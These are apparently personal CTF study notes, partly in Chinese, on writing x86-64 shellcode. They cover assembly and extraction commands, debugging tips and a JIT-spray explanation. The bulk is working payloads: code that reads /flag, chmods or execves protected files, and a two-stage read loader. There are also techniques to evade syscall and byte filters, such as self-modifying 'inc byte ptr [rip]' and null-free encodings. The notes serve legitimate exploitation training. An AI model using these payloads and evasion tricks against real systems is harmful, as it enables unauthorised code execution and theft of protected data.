1. Assembling shellcode:
gcc -nostdlib -static shellcode.s -o shellcode-elf

2. Extracting shellcode:
objcopy --dump-section .text=shellcode-raw shellcode-elf

3. Disassembling shellcode:
objdump -M intel -d shellcode-elf

4. Sending shellcode to the stdin of a process (with user input afterwards):
cat shellcode-raw /dev/stdin | /vulnerable_process

5. Strace a program with your shellcode as input:
cat shellcode-raw | strace /vulnerable_process

6. Debug a program with your shellcode as input:
gdb /vulnerable_process
(gdb) r < shellcode-raw

1. pwntools (https://github.com/Gallopsled/pwntools), a library for writing exploits (and shellcode).

2. rappel (https://github.com/yrp604/rappel) lets you explore the effects of instructions.
easily installable via https://github.com/zardus/ctf-tools  

3. amd64 opcode listing: http://ref.x86asm.net/coder64.html 

4. Several gdb plugins exist to make exploit debugging easier!
https://github.com/scwuaptx/Pwngdb
https://github.com/pwndbg/pwndbg
https://github.com/longld/peda 

gcc -nostdlib -static shellcode.s -o shellcode.elf
strace ./shellcode.elf

gdb ./shellcode-elf

inc BYTE PTR [rip]
	.byte 0xcb

1. read(0, rip, 1000).
2. 写入你想写的任何东西，当然这里也要求是映射的代码段是可写的

PROT_READ : allows the process to read memory
PROT_WRITE : allows the process to write memory
PROT_EXEC : allows the process to execute memory

Pages must be writable for code generation.
Pages must be executable for execution.
Pages must be writable for code re-generation.

mmap(PROT_READ|PROT_WRITE)
write the code
mprotect(PROT_READ|PROT_EXEC)
execute
mprotect(PROT_READ|PROT_WRITE)
update code
etc...

1. Make constants in the code that will be JITed:
	var evil = "%90%90%90%90%90";

2. The JIT engine will mprotect(PROT_WRITE), compile the code into memory, then mprotect(PROT_EXEC). Your constant is now present in executable memory.

3. Use a vulnerability to redirect execution into the constant. # 这里的问题在于重定向到这个内存页后，因为数据都是0x90（nop），执行时会发生滑坡，直到碰到你真正要执行的代码！这么做的原因其实是可以提高执行shellcode的可能性，因为我们不知道实际上我们注入的shellcode被放置在内存的哪个位置

gcc -nostdlib -static shellcode.s -o shellcode.elf
objcopy --dump-section .text=shellcode.raw shellcode.elf

.global _start
_start:
.intel_syntax noprefix
#.fill 0x1000, 1, 0x90 # fill with nop
        mov rax, 2 # sys_create
        lea rdi, [rip+file_name] # file_name
        mov rsi, 2 # O_RDWR
        syscall
        #inc byte ptr [rip] 如果有syscall/int 80/sysenter的限制，而且你代码所在位置是可写的话，可以用这种方法规避
        #.word 0x050e
        lea rdi, [rip+file_fd]
        mov [rdi], eax

        mov rax, 0 # sys_read
        mov edi, [rip+file_fd]
        lea rsi, [rip+buffer]
        mov edx, [rip+buffer_len]
        syscall
        #inc byte ptr [rip] 如果有syscall/int 80/sysenter的限制，而且你代码所在位置是可写的话，可以用这种方法规避
        #.word 0x050e

        mov rax, 1 # sys_write
        mov rdi, 1 # stdout
        lea rsi, [rip+buffer]
        mov edx, [rip+buffer_len]
        syscall
        #inc byte ptr [rip] 如果有syscall/int 80/sysenter的限制，而且你代码所在位置是可写的话，可以用这种方法规避
        #.word 0x050e
binsh:
        .string "/bin/sh"
file_name:
        .string "/flag"
file_fd:
        .long 0
buffer:
        .space 0x100
buffer_len:
        .long 0x100

nasm -f elf64 -o shellcode.o shellcode.s
objcopy --dump-section .text=shellcode.raw shellcode.o
gcc shellcode.o -o shellcode.elf #可执行代码,实际上也不需要它就是了

BITS 64

section .text
global main

main:
    jmp short call_shellcode

get_address:
    pop rdi                     ; 将字符串地址弹出到RDI中
    ;xor rsi, rsi                ; 清空RSI
    ;xor rdx, rdx                ; 清空RDX ，可绕过\x00字符检验
    mov esi, 0                  ; 
    mov edx, 0                  ;可绕过0x48字符检验
    mov al, 0x3b                ; syscall编号execve
    syscall                     ; 执行系统调用
    ret                         
call_shellcode:
    call get_address            ; get string addr
    db '/home/hacker/Shellcode/level3/openflag'               ;

      Address      |                      Bytes                    |          Instructions
------------------------------------------------------------------------------------------
0x000000002436f000 | 6a 31                                         | push 0x31
0x000000002436f002 | 48 89 e7                                      | mov rdi, rsp
0x000000002436f005 | 6a 00                                         | push 0
0x000000002436f007 | 5e                                            | pop rsi
0x000000002436f008 | 48 31 ff                                      | xor rdi, rdi
0x000000002436f00b | 6a 3b                                         | push 0x3b
0x000000002436f00d | 58                                            | pop rax
0x000000002436f00e | 0f 05                                         | syscall 

.global _start
_start:
.intel_syntax noprefix
        push 0x66
        mov rdi, rsp
        push 4
        #jmp _stage #跳过某些位置，这些位置会被程序设置为int 3导致 shellcode无法执行
        #nop 
        #.fill 10,1, 0x90 # fill with nop
_stage:
        pop rsi # 5e
        push 90 # sys_chmod
        pop rax
        syscall
        ret
        ret
        ret #c3 增加点代码，防止冒泡排序打乱shellcode

.global _start
_start:
.intel_syntax noprefix
        push 0x67  # 软链接的名称就是g
        push rsp
        pop rdi
        mov sil, 4
        mov ax,90
        syscall

.global _start
_start:
.intel_syntax noprefix
        push 0x67  # 软链接的名称就是g
        push rsp
        pop rdi
        mov sil, 4
        push 90
        pop rax
        syscall

.global _start
_start:
.intel_syntax noprefix
        xor edi,edi   # 0, stdin
        push rdx     # rdx=shellcode addr
        pop rsi
        syscall     # read, rax=0(default)
        .fill 0x6, 1, 0x90
        push 0x66
        mov rdi, rsp
        push 4
        pop rsi
        push 90
        pop rax
        syscall